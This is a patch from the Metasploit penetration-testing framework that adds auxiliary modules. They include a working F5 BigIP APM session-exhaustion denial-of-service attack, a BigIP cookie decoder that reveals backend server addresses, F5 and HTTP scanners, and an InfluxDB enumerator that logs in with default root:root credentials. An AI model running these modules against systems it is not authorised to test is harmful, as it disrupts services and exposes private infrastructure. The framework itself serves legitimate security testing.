|
||||
end
|
||||
opts[:transport] = val
|
||||
else
|
||||
valid = false
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Swapping transport ...")
|
||||
if client.core.transport_change(opts)
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
else
|
||||
print_error("Failed to switch transport, please check the parameters")
|
||||
unless valid
|
||||
cmd_transport_help
|
||||
return
|
||||
end
|
||||
|
||||
case command
|
||||
when 'list'
|
||||
result = client.core.transport_list
|
||||
# this will output the session timeout first
|
||||
print_timeouts(result)
|
||||
|
||||
columns =[
|
||||
'Curr',
|
||||
'URL',
|
||||
'Comms T/O',
|
||||
'Retry Total',
|
||||
'Retry Wait'
|
||||
]
|
||||
|
||||
if opts[:verbose]
|
||||
columns << 'User Agent'
|
||||
columns << 'Proxy Host'
|
||||
columns << 'Proxy User'
|
||||
columns << 'Proxy Pass'
|
||||
columns << 'Cert Hash'
|
||||
end
|
||||
|
||||
# next draw up a table of transport entries
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => 4,
|
||||
'Columns' => columns)
|
||||
|
||||
first = true
|
||||
result[:transports].each do |t|
|
||||
entry = [ first ? '*' : '', t[:url], t[:comm_timeout],
|
||||
t[:retry_total], t[:retry_wait] ]
|
||||
|
||||
first = false
|
||||
|
||||
if opts[:verbose]
|
||||
entry << t[:ua]
|
||||
entry << t[:proxy_host]
|
||||
entry << t[:proxy_user]
|
||||
entry << t[:proxy_pass]
|
||||
entry << (t[:cert_hash] || '').unpack("H*")[0]
|
||||
end
|
||||
|
||||
tbl << entry
|
||||
end
|
||||
|
||||
print("\n" + tbl.to_s + "\n")
|
||||
when 'next'
|
||||
print_status("Changing to next transport ...")
|
||||
if client.core.transport_next
|
||||
print_good("Successfully changed to the next transport, killing current session.")
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
else
|
||||
print_error("Failed to change transport, please check the parameters")
|
||||
end
|
||||
when 'prev'
|
||||
print_status("Changing to previous transport ...")
|
||||
if client.core.transport_prev
|
||||
print_good("Successfully changed to the previous transport, killing current session.")
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
else
|
||||
print_error("Failed to change transport, please check the parameters")
|
||||
end
|
||||
when 'change'
|
||||
print_status("Changing to new transport ...")
|
||||
if client.core.transport_change(opts)
|
||||
print_good("Successfully added #{opts[:transport]} transport, killing current session.")
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
else
|
||||
print_error("Failed to change transport, please check the parameters")
|
||||
end
|
||||
when 'add'
|
||||
print_status("Adding new transport ...")
|
||||
if client.core.transport_add(opts)
|
||||
print_good("Successfully added #{opts[:transport]} transport.")
|
||||
else
|
||||
print_error("Failed to add transport, please check the parameters")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -29,9 +29,9 @@ Gem::Specification.new do |spec|
|
|||
|
||||
spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION
|
||||
# Metasploit::Credential database models
|
||||
spec.add_runtime_dependency 'metasploit-credential', '0.14.5'
|
||||
spec.add_runtime_dependency 'metasploit-credential', '~> 1.0'
|
||||
# Database models shared between framework and Pro.
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '0.24.0'
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '~> 1.0'
|
||||
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
||||
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
|
|
|
@ -59,12 +59,12 @@ Gem::Specification.new do |spec|
|
|||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||
spec.add_runtime_dependency 'json'
|
||||
# Metasploit::Concern hooks
|
||||
spec.add_runtime_dependency 'metasploit-concern', '0.4.0'
|
||||
spec.add_runtime_dependency 'metasploit-concern', '~> 1.0'
|
||||
# Things that would normally be part of the database model, but which
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0'
|
||||
spec.add_runtime_dependency 'metasploit-model', '~> 1.0'
|
||||
# Needed for Meterpreter on Windows, soon others.
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '0.0.3'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '0.0.5'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
|
|
@ -0,0 +1,101 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service',
|
||||
'Description' => %q{
|
||||
This module exploits a resource exhaustion denial of service in F5 BigIP devices. An
|
||||
unauthenticated attacker can establish multiple connections with BigIP Access Policy
|
||||
Manager (APM) and exhaust all available sessions defined in customer license. In the
|
||||
first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP
|
||||
system creates a session, marks it as pending and then redirects the client to an access
|
||||
policy URI. Since BigIP allocates a new session after the first unauthenticated request,
|
||||
and deletes the session only if an access policy timeout expires, the attacker can exhaust
|
||||
all available sessions by repeatedly sending the initial HTTP request and leaving the
|
||||
sessions as pending.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>',
|
||||
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
|
||||
'Nikita Oleksov <neoleksov[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'SSLVersion' => 'TLS1',
|
||||
'RPORT' => 443
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]),
|
||||
OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual server isn\'t detected', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
limit = datastore['RLIMIT']
|
||||
force_attack = datastore['FORCE']
|
||||
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => '/')
|
||||
|
||||
unless res
|
||||
print_error("#{peer} - No answer from the BigIP server")
|
||||
return
|
||||
end
|
||||
|
||||
# Simple test based on HTTP Server header to detect BigIP virtual server
|
||||
server = res.headers['Server']
|
||||
unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack
|
||||
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Starting DoS attack")
|
||||
|
||||
# Start attack
|
||||
limit.times do |step|
|
||||
if step % 100 == 0
|
||||
print_status("#{peer} - #{step * 100 / limit}% accomplished...")
|
||||
end
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => '/')
|
||||
if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/
|
||||
print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# Check if attack has failed
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri)
|
||||
if res.headers['Location'] =~ /\/my.policy/
|
||||
print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT")
|
||||
else
|
||||
print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
|
||||
end
|
||||
|
||||
rescue ::Errno::ECONNRESET
|
||||
print_error("#{peer} - The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("#{peer} - Unable to connect to BigIP")
|
||||
rescue ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Unable to connect to BigIP. Please check options")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
print_error("#{peer} - SSL/TLS connection error")
|
||||
end
|
||||
end
|
|
@ -6,7 +6,6 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
|
@ -30,125 +29,131 @@ class Metasploit3 < Msf::Auxiliary
|
|||
['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
|
||||
['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSLVersion' => 'TLS1'
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]),
|
||||
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
|
||||
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
|
||||
OptInt.new('REQUESTS', [true, 'Number of requests to send to disclose back', 10])
|
||||
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def change_endianness(value, size=4)
|
||||
def change_endianness(value, size = 4)
|
||||
conversion = nil
|
||||
|
||||
if size == 4
|
||||
conversion = [value].pack("V").unpack("N").first
|
||||
elsif size == 2
|
||||
conversion = [value].pack("v").unpack("n").first
|
||||
end
|
||||
|
||||
conversion
|
||||
end
|
||||
|
||||
def cookie_decode(cookie_value)
|
||||
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
|
||||
host = $1.to_i
|
||||
port = $2.to_i
|
||||
backend = {}
|
||||
case
|
||||
when cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
|
||||
host = Regexp.last_match(1).to_i
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = change_endianness(host)
|
||||
host = Rex::Socket.addr_itoa(host)
|
||||
port = change_endianness(port, 2)
|
||||
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
|
||||
host = $1.to_i(16)
|
||||
port = $2.to_i
|
||||
when cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
|
||||
host = Regexp.last_match(1).to_i(16)
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = Rex::Socket.addr_itoa(host)
|
||||
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
|
||||
host = $1.to_i(16)
|
||||
port = $2.to_i
|
||||
host = Rex::Socket.addr_itoa(host, v6=true)
|
||||
when cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
|
||||
host = Regexp.last_match(1).to_i(16)
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = Rex::Socket.addr_itoa(host, true)
|
||||
port = change_endianness(port, 2)
|
||||
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
|
||||
host = $1.to_i(16)
|
||||
port = $2.to_i
|
||||
host = Rex::Socket.addr_itoa(host, v6=true)
|
||||
elsif cookie_value =~ /!.{104}/
|
||||
when cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
|
||||
host = Regexp.last_match(1).to_i(16)
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = Rex::Socket.addr_itoa(host, true)
|
||||
else
|
||||
host = nil
|
||||
port = nil
|
||||
end
|
||||
host.nil? ? nil : "#{host}:#{port}"
|
||||
|
||||
backend[:host] = host.nil? ? nil : host
|
||||
backend[:port] = port.nil? ? nil : port
|
||||
backend
|
||||
end
|
||||
|
||||
def get_cookie # request a page and extract a F5 looking cookie.
|
||||
cookie = {}
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => @uri
|
||||
})
|
||||
res = send_request_raw({ 'method' => 'GET', 'uri' => @uri })
|
||||
|
||||
unless res.nil?
|
||||
# Get the SLB session IDs for all cases:
|
||||
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
|
||||
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
|
||||
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
|
||||
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80",
|
||||
# 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc"
|
||||
|
||||
m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/)
|
||||
cookie[:id] = m.nil? ? nil : m[1]
|
||||
cookie[:value] = m.nil? ? nil : m[2]
|
||||
end
|
||||
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"
|
||||
|
||||
regexp = /
|
||||
([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|
|
||||
(rd\d+o0{20}f{4}\w+o\d{1,5})|
|
||||
(vi([a-f0-9]{32})\.(\d{1,5}))|
|
||||
(rd\d+o([a-f0-9]{32})o(\d{1,5})))
|
||||
(?:$|,|;|\s)
|
||||
/x
|
||||
m = res.get_cookies.match(regexp)
|
||||
cookie[:id] = (m.nil?) ? nil : m[1]
|
||||
cookie[:value] = (m.nil?) ? nil : m[2]
|
||||
end
|
||||
cookie
|
||||
end
|
||||
|
||||
def run
|
||||
unless datastore['REQUESTS'] > 0
|
||||
print_error("Please, configure more than 0 REQUESTS")
|
||||
return
|
||||
end
|
||||
|
||||
back_ends = []
|
||||
requests = datastore['REQUESTS']
|
||||
backends = []
|
||||
@uri = normalize_uri(target_uri.path.to_s)
|
||||
print_status("#{peer} - Starting request #{@uri}")
|
||||
|
||||
for i in 0...datastore['REQUESTS']
|
||||
cookie = get_cookie() # Get the cookie
|
||||
(1..requests).each do |i|
|
||||
cookie = get_cookie # Get the cookie
|
||||
# If the cookie is not found, stop process
|
||||
if cookie.empty? || cookie[:id].nil?
|
||||
print_error("#{peer} - F5 BigIP load balancing cookie not found")
|
||||
break
|
||||
return
|
||||
end
|
||||
|
||||
# Print the cookie name on the first request
|
||||
if i == 0
|
||||
print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
|
||||
if i == 1
|
||||
print_good("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
|
||||
if cookie[:id].start_with?('BIGipServer')
|
||||
print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
|
||||
print_good("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
|
||||
end
|
||||
if cookie[:value].start_with?('rd')
|
||||
print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
|
||||
end
|
||||
if cookie[:value].start_with?('!')
|
||||
print_status("#{peer} - F5 BigIP cookie is probably encrypted")
|
||||
print_good("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
|
||||
end
|
||||
end
|
||||
|
||||
back_end = cookie_decode(cookie[:value])
|
||||
unless back_end.nil? || back_ends.include?(back_end)
|
||||
print_status("#{peer} - Backend #{back_end} found")
|
||||
back_ends.push(back_end)
|
||||
backend = cookie_decode(cookie[:value])
|
||||
unless backend[:host].nil? || backends.include?(backend)
|
||||
print_good("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found")
|
||||
backends.push(backend)
|
||||
end
|
||||
end
|
||||
|
||||
# Reporting found backends in database
|
||||
unless back_ends.empty?
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:type => "f5_load_balancer_backends",
|
||||
:data => back_ends
|
||||
)
|
||||
unless backends.empty?
|
||||
report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("#{peer} - Network connection error")
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{peer} - Network connection error")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
print_error("#{peer} - SSL/TLS connection error")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'F5 BigIP HTTP Virtual Server Scanner',
|
||||
'Description' => %q{
|
||||
This module scans for BigIP HTTP virtual servers using banner grabbing. BigIP system uses
|
||||
different HTTP profiles for managing HTTP traffic and these profiles allow to customize
|
||||
the string used as Server HTTP header. The default values are "BigIP" or "BIG-IP" depending
|
||||
on the BigIP system version.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>',
|
||||
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
|
||||
'Nikita Oleksov <neoleksov[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.owasp.org/index.php/SCG_D_BIGIP'],
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PORTS', [true, 'Ports to scan (e.g. 80-81,443,8080-8090)', '80,443']),
|
||||
OptInt.new('TIMEOUT', [true, 'The socket connect/read timeout in seconds', 1]),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RPORT')
|
||||
end
|
||||
|
||||
def bigip_http?(ip, port, ssl)
|
||||
begin
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => '/',
|
||||
'rport' => port,
|
||||
'SSL' => ssl,
|
||||
},
|
||||
datastore['TIMEOUT'])
|
||||
return false unless res
|
||||
server = res.headers['Server']
|
||||
return true if server =~ /BIG\-IP/ || server =~ /BigIP/
|
||||
rescue ::Rex::ConnectionRefused
|
||||
vprint_error("#{ip}:#{port} - Connection refused")
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{ip}:#{port} - Connection error")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
vprint_error("#{ip}:#{port} - SSL/TLS connection error")
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
|
||||
|
||||
if ports.empty?
|
||||
print_error('PORTS options is invalid')
|
||||
return
|
||||
end
|
||||
|
||||
ports.each do |port|
|
||||
|
||||
unless port == 443 # Skip http check for 443
|
||||
if bigip_http?(ip, port, false)
|
||||
print_good("#{ip}:#{port} - BigIP HTTP virtual server found")
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
unless port == 80 # Skip https check for 80
|
||||
if bigip_http?(ip, port, true)
|
||||
print_good("#{ip}:#{port} - BigIP HTTPS virtual server found")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,95 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'F5 Networks Devices Management Interface Scanner',
|
||||
'Description' => %q{
|
||||
This module scans for web management interfaces of the following F5 Networks devices:
|
||||
BigIP, BigIQ, Enterprise Manager, ARX, and FirePass.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>',
|
||||
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
|
||||
'Nikita Oleksov <neoleksov[at]gmail.com>'
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'SSLVersion' => 'TLS1',
|
||||
'RPORT' => 443
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def port_open?
|
||||
begin
|
||||
res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
|
||||
return true if res
|
||||
rescue ::Rex::ConnectionRefused
|
||||
vprint_status("#{peer} - Connection refused")
|
||||
return false
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{peer} - Connection failed")
|
||||
return false
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
vprint_error("#{peer} - SSL/TLS connection error")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
return unless port_open?
|
||||
|
||||
res = send_request_raw('method' => 'GET', 'uri' => '/')
|
||||
if res && res.code == 200
|
||||
|
||||
# Detect BigIP management interface
|
||||
if res.body =~ /<title>BIG\-IP/
|
||||
print_good("#{peer} - F5 BigIP web management interface found")
|
||||
return
|
||||
end
|
||||
|
||||
# Detect EM management interface
|
||||
if res.body =~ /<title>Enterprise Manager/
|
||||
print_good("#{peer} - F5 Enterprise Manager web management interface found")
|
||||
return
|
||||
end
|
||||
|
||||
# Detect ARX management interface
|
||||
if res.body =~ /<title>F5 ARX Manager Login<\/title>/
|
||||
print_good("#{peer} - ARX web management interface found")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# Detect BigIQ management interface
|
||||
res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/')
|
||||
if res && res.code == 200 && res.body =~ /<title>BIG\-IQ/
|
||||
print_good("#{peer} - F5 BigIQ web management interface found")
|
||||
return
|
||||
end
|
||||
|
||||
# Detect FirePass management interface
|
||||
res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport)
|
||||
if res && res.code == 200 && res.body =~ /<br><br><br><big><b> FirePass/
|
||||
print_good("#{peer} - F5 FirePass web management interface found")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,82 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'InfluxDB Enum Utility',
|
||||
'Description' => %q{
|
||||
This module enumerates databases on InfluxDB using the REST API
|
||||
(using default authentication - root:root).
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://influxdb.com/docs/v0.9/concepts/reading_and_writing_data.html']
|
||||
],
|
||||
'Author' => [ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8086),
|
||||
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/db']),
|
||||
OptString.new('USERNAME', [true, 'The username to login as', 'root']),
|
||||
OptString.new('PASSWORD', [true, 'The password to login with', 'root'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET'
|
||||
)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error, ::EOFError, ::IOError => e
|
||||
print_error("#{peer} - The following Error was encountered: #{e.class}")
|
||||
return
|
||||
end
|
||||
|
||||
unless res
|
||||
print_error("#{peer} - Server did not respond in an expected way.")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 401 && res.body =~ /Invalid username\/password/
|
||||
print_error("#{peer} - Failed to authenticate. Invalid username/password.")
|
||||
return
|
||||
elsif res.code == 200 && res.headers.include?('X-Influxdb-Version') && res.body.length > 0
|
||||
print_status("#{peer} - Enumerating...")
|
||||
begin
|
||||
temp = JSON.parse(res.body)
|
||||
if temp.blank?
|
||||
print_status("#{peer} - Json data is empty")
|
||||
return
|
||||
end
|
||||
results = JSON.pretty_generate(temp)
|
||||
rescue JSON::ParserError
|
||||
print_error("#{peer} - Unable to parse JSON data.")
|
||||
return
|
||||
end
|
||||
print_good("Found:\n\n#{results}\n")
|
||||
path = store_loot(
|
||||
'influxdb.enum',
|
||||
'text/plain',
|
||||
rhost,
|
||||
results,
|
||||
'InfluxDB Enum'
|
||||
)
|
||||
print_good("#{peer} - File saved in: #{path}")
|
||||
else
|
||||
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,102 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
# Scanner mixin should be near last
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HTTP HTML Title Tag Content Grabber',
|
||||
'Description' => %q{
|
||||
Generates a GET request to the webservers provided and returns the server header,
|
||||
HTML title attribute and location header (if set). Useful for rapidly identifying
|
||||
interesting web applications en mass.
|
||||
},
|
||||
'Author' => 'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('STORE_NOTES', [ true, 'Store the captured information in notes. Use "notes -t http.title" to view', true ]),
|
||||
OptBool.new('SHOW_ERRORS', [ true, 'Show error messages relating to grabbing titles on the console', true ]),
|
||||
OptBool.new('SHOW_TITLES', [ true, 'Show the titles on the console as they are grabbed', true ]),
|
||||
OptString.new('TARGETURI', [true, 'The base path', '/'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('VHOST')
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['STORE_NOTES'] == false && datastore['SHOW_ERRORS'] == false && datastore['SHOW_TITLES'] == false
|
||||
print_error("Notes storage is false, errors have been turned off and titles are not being shown on the console. There isn't much point in running this module.")
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
begin
|
||||
# Send a normal GET request
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
|
||||
# If no response, quit now
|
||||
if res.nil?
|
||||
print_error("[#{target_host}:#{rport}] No response") if datastore['SHOW_ERRORS'] == true
|
||||
return
|
||||
end
|
||||
|
||||
# Retrieve the headers to capture the Location and Server header
|
||||
# Note that they are case-insensitive but stored in a hash
|
||||
server_header = nil
|
||||
location_header = nil
|
||||
if !res.headers.nil?
|
||||
res.headers.each do |key, val|
|
||||
location_header = val if key.downcase == 'location'
|
||||
server_header = val if key.downcase == 'server'
|
||||
end
|
||||
else
|
||||
print_error("[#{target_host}:#{rport}] No HTTP headers") if datastore['SHOW_ERRORS'] == true
|
||||
end
|
||||
|
||||
# If the body is blank, just stop now as there is no chance of a title
|
||||
if res.body.nil?
|
||||
print_error("[#{target_host}:#{rport}] No webpage body") if datastore['SHOW_ERRORS'] == true
|
||||
return
|
||||
end
|
||||
|
||||
# Very basic, just match the first title tag we come to. If the match fails,
|
||||
# there is no chance that we will have a title
|
||||
rx = %r{<title>[\n\t\s]*(?<title>.+?)[\s\n\t]*</title>}im.match(res.body.to_s)
|
||||
unless rx
|
||||
print_error("[#{target_host}:#{rport}] No webpage title") if datastore['SHOW_ERRORS'] == true
|
||||
return
|
||||
end
|
||||
|
||||
# Last bit of logic to capture the title
|
||||
rx[:title].strip!
|
||||
if rx[:title] != ''
|
||||
rx_title = Rex::Text.html_decode(rx[:title])
|
||||
print_status("[#{target_host}:#{rport}] [C:#{res.code}] [R:#{location_header}] [S:#{server_header}] #{rx_title}") if datastore['SHOW_TITLES'] == true
|
||||
if datastore['STORE_NOTES'] == true
|
||||
notedata = { code: res.code, port: rport, server: server_header, title: rx_title, redirect: location_header }
|
||||
report_note(host: target_host, type: "http.title", data: notedata)
|
||||
end
|
||||
else
|
||||
print_error("[#{target_host}:#{rport}] No webpage title") if datastore['SHOW_ERRORS'] == true
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
